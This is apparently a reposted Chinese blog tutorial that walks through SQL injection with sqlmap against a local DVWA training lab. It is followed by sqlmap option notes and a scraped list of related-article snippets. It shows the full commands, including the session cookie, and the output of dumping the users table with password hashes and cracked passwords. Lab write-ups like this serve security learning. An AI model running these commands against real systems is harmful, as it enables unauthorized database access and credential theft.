1、使用firefox浏览器(安装一个firebug插件)登录http://192.168.204.132/dvwa/login.php页面,使用admin/password

2、打开firebug工具的cookie面板,将所有cookie复制下来。得到:

PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2; path=/; domain=192.168.204.132
           security=low; path=/dvwa/; domain=192.168.204.132

3、打开dvwa的SQL Injection页面,在User ID输入框内输入1,点击submit按钮。从地址栏得到要测试的url:

http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

4、从kali打开终端,数据sqlmap,将会有提示文档。

5、开始测试该url是否存在sql注入漏洞,在终端输入:

sqlmap -u
'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' 
- -cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low'

得到信息结果:

web server operating system: Windows
web application technology: PHP 5.3.29, Apache 2.4.18
back-end DBMS: MySQL >= 5.5

6、开始探测MYSQL中用来存放应用数据的数据库名称,在终端输入:

sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' --dbs -v 0

得到信息结果:

available databases [5]:
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

7、得到数据库是dvwa后,开始获取数据库中所存在表,在终端输入:

sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables

得到信息结果:

Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+

8、得到两张表,获取一下users表的字段,在终端输入:

sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables -T users --columns

得到信息结果:

Table: users
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+

9、最后可以吧表数据导出来了,在终端输入:

sqlmap -u 'http://192.168.204.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='PHPSESSID=5v6mbqac21vrocg5gj1vp0njl2;security=low' -D dvwa --tables -T users --columns --dump

得到信息结果:

Table: users
[5 entries]
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| user_id | avatar | user | password | last_name | first_name | last_login | failed_login |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
| 1 | http://127.0.0.1/DVWA/hackable/users/admin.jpg | admin | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin | admin | 2017-04-01 00:58:43 | 0 |
| 2 | http://127.0.0.1/DVWA/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123) | Brown | Gordon | 2017-04-01 00:58:43 | 0 |
| 3 | http://127.0.0.1/DVWA/hackable/users/1337.jpg | 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2017-04-01 00:58:43 | 0 |
| 4 | http://127.0.0.1/DVWA/hackable/users/pablo.jpg | pablo | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein) | Picasso | Pablo | 2017-04-01 00:58:43 | 0 |
| 5 | http://127.0.0.1/DVWA/hackable/users/smithy.jpg | smithy | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith | Bob | 2017-04-01 00:58:43 | 0 |
+---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
[INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.204.132/dump/dvwa/users.csv'

并且导出CSV数据到本地!还发现一个惊喜数,据库中的密文密码也给破译了!!

给出sqlmap的一些选项:(sqlmap -h会给出英文的帮助文档)
–cookie : 设置我们的cookie值“将DVWA安全等级从high设置为low”
-u : 指定目标URL
-b : 获取DBMS banner
–current-db : 获取当前数据库
–current-user:获取当前用户

–string : 当查询可用时用来匹配页面中的字符串
–users : 枚举DBMS用户
–password : 枚举DBMS用户密码hash

–dbs: 枚举DBMS中的数据库

-D : 要枚举的DBMS数据库
–tables     : 枚举DBMS数据库中的数据表

–columns : 枚举DBMS数据库表中的所有列

-T : 要枚举的DBMS数据表

-C: 要枚举的DBMS数据表中的列

–dump : 转储DBMS数据表项

非常感谢原博主的分享,受益颇多:http://blog.csdn.net/qq_20745827/article/details/68953621

sql注入(转载)的更多相关文章

  1. sqlmap和burpsuite绕过csrf token进行SQL注入检测

    利用sqlmap和burpsuite绕过csrf token进行SQL注入 转载请注明来源:http://www.cnblogs.com/phoenix--/archive/2013/04/12/30 ...

  2. 【转载】C#防SQL注入过滤危险字符信息

    不过是java开发还是C#开发或者PHP的开发中,都需要关注SQL注入攻击的安全性问题,为了保证客户端提交过来的数据不会产生SQL注入的风险,我们需要对接收的数据进行危险字符过滤来防范SQL注入攻击的 ...

  3. 【转载】SQL注入原理讲解

    这几篇文章讲的都很不错,我看了大概清除了sql注入是怎么一回事,打算细细研究一下这个知识,另写一篇博客: 原文地址:http://www.cnblogs.com/rush/archive/2011/1 ...

  4. [转载]利用分块传输绕过WAF进行SQL注入

    原理 客户端给服务器发送数据的时候,如果我们利用协议去制作payload,就可以绕过http协议的waf,实现SQL注入 分块传输编码(Chunked transfer encoding)是HTTP中 ...

  5. 利用SQL注入漏洞登录后台的实现方法 。。。。转载

    一.SQL注入的步骤 a) 寻找注入点(如:登录界面.留言板等) b) 用户自己构造SQL语句(如:' or 1=1#,后面会讲解) c) 将sql语句发送给数据库管理系统(DBMS) d) DBMS ...

  6. 10个SQL注入工具(转载)

    众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...

  7. 【转载】SQL注入

             "SQL注入"是一种利用未过滤/未审核用户输入的攻击方法("缓存溢出"和这个不同),意思就是让应用运行本不应该运行的SQL代码.如果应用毫无防 ...

  8. 【转载】以Java的视角来聊聊SQL注入

    以Java的视角来聊聊SQL注入 原创 2017-08-08 javatiku Java面试那些事儿 在大二就接触过sql注入,之前一直在学习windows逆向技术,认为web安全以后不是自己的从业方 ...

  9. [转载]mysql绑定参数bind_param原理以及防SQL注入

    假设我们的用户表中存在一行.用户名字段为username.值为aaa.密码字段为pwd.值为pwd.. 下面我们来模拟一个用户登录的过程.. <?php $username = "aa ...

随机推荐

  1. Devops路线

    自动化运维工具 Docker学习 .

  2. Centos7 zookeeper单机/集群安装详解和开机自启

    ZooKeeper是一个分布式的,开放源码的分布式应用程序协调服务,是Google的Chubby一个开源的实现,是Hadoop和Hbase的重要组件.它是一个为分布式应用提供一致性服务的软件,提供的功 ...

  3. [js] Array.slice和类数组转数组

    a.call(b) 相当于把a方法放到b的原型上(实例私有方法)执行 Array.slice的用途 https://juejin.im/post/5b20b8596fb9a01e8d6a47c0 用法 ...

  4. NN中的激活函数【转载】

    转自:https://blog.csdn.net/edogawachia/article/details/80043673 1.sigmoid 特点:可以解释,比如将0-1之间的取值解释成一个神经元的 ...

  5. 【Java】-NO.16.EBook.4.Java.1.001-【疯狂Java讲义第3版 李刚】- UML

    1.0.0 Summary Tittle:[Java]-NO.16.EBook.4.Java.1.001-[疯狂Java讲义第3版 李刚]- Style:EBook Series:Java Since ...

  6. SEO--多领域

    1.社交媒体SEO优化,例如:视频,吸引流量 2.电商SEO,很多不是皇冠的商家也可以被搜索到 3.新媒体 微博 和 微信营销 手机端的SEO等.传统的SEO已经渐渐不具备竞争力 SEO盈利:网盟.广 ...

  7. linux shell脚本检测硬盘磁盘空间 邮件报警

    使用 http://www.weiruoyu.cn/?p=368 shell脚本监控硬盘空间剩余空间 邮件报警 1.先观察一下磁盘,和如何使用脚本 [root@localhost ~]# df -h ...

  8. CentOS7 开放服务端口

    CentOS 7 默认是firewall防火墙 如果你想让一个web服务可以被其它机子访问,就得开放这个服务的端口,不然就会被拦截 1. 开放端口命令 firewall-cmd --add-port= ...

  9. .Net拾忆:从List去除重复-拾忆集合

    方法1: private static List<int> DistinctList(List<int> list) {//去除重复 HashSet<int> ha ...

  10. android 流程跟踪

    #记录一下 Thread cur_thread = Thread.currentThread(); StackTraceElement stack[] = cur_thread.getStackTra ...